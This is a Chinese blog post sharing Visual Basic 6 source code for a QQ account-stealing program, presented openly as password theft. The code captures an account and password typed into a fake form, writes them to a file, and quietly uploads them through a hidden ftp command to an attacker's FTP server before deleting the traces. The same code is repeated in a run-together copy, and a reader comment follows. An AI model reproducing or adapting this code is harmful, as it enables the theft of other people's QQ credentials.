让文字
绕过心间越过指间融于笔下

QQftp盗号vb源码【原创】

前一段时间我发表了一篇软文qq盗号软件现在我介绍下原理

通过调用windows自身ftp组件实现发送密码

通过filename语言建立和删除密码。ok下面看源码!

准备工作:新建textbox1和textbox2和一个按钮再复制以下vb代码

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SYNCHRONIZE = &H100000
Const INFINITE = &HFFFFFFFF
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Sub Command1_Click()
Dim filename As String
Dim ftp As String
Dim uname As String
Dim upin As String
ftp = Label1.Caption
uname = Label2.Caption
upin = Label3.Caption
filename = Timer()
Open filename & ".script" For Output As #1
Print #1, "user"
Print #1, uname
Print #1, upin
Print #1, "pwd"
Print #1, "hash"
Print #1, "put " & filename & ".txt"
Print #1, "quit"
Close #1
Open filename & ".txt" For Output As #1
Print #1, "账号" & Text1.Text
Print #1, "密码" & Text2.Text
Close #1
DoEvents
Dim pId As Long, pHnd As Long
pId = Shell("ftp -n -s:" & filename & ".script" & " " & ftp, vbHide)
pHnd = OpenProcess(SYNCHRONIZE, 0, pId)
If pHnd <> 0 Then
Call WaitForSingleObject(pHnd, INFINITE)
Call CloseHandle(pHnd)
End If
Kill filename & ".script"
Kill filename & ".txt"
End Sub

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As LongConst SYNCHRONIZE = &H100000Const INFINITE = &HFFFFFFFFPrivate Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As LongPrivate Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As LongPrivate Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long

Private Sub Command1_Click()Dim filename As StringDim ftp As StringDim uname As StringDim upin As Stringftp = Label1.Captionuname = Label2.Captionupin = Label3.Caption
filename = Timer()Open filename & ".script" For Output As #1    Print #1, "user"    Print #1, uname    Print #1, upin    Print #1, "pwd"    Print #1, "hash"    Print #1, "put " & filename & ".txt"    Print #1, "quit"Close #1

Open filename & ".txt" For Output As #1    Print #1, "账号" & Text1.Text    Print #1, "密码" & Text2.TextClose #1DoEvents
Dim pId As Long, pHnd As LongpId = Shell("ftp -n -s:" & filename & ".script" & " " & ftp, vbHide)pHnd = OpenProcess(SYNCHRONIZE, 0, pId)If pHnd <> 0 ThenCall WaitForSingleObject(pHnd, INFINITE)Call CloseHandle(pHnd)End IfKill filename & ".script"Kill filename & ".txt"End Sub

Private Sub OpenUrl(tUrl As String)          ShellExecute Me.hwnd, “Open”, tUrl, 0, 0, 0  End Sub
Private Sub Form_Unload(Cancel As Integer)OpenUrl “http://www.gzh6.com “End Sub

下面是我的一个关闭访问不喜欢就去掉吧!

赞(1) 打赏
未经允许不得转载:志慧-人生历程 » QQftp盗号vb源码【原创】

评论 2

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
  1. #1

    好坏的孩纸啊~盗QQ.....

    琪琪12年前 (2012-10-05)回复

觉得文章有用就打赏一下文章作者

非常感谢你的打赏,我们将继续给力更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏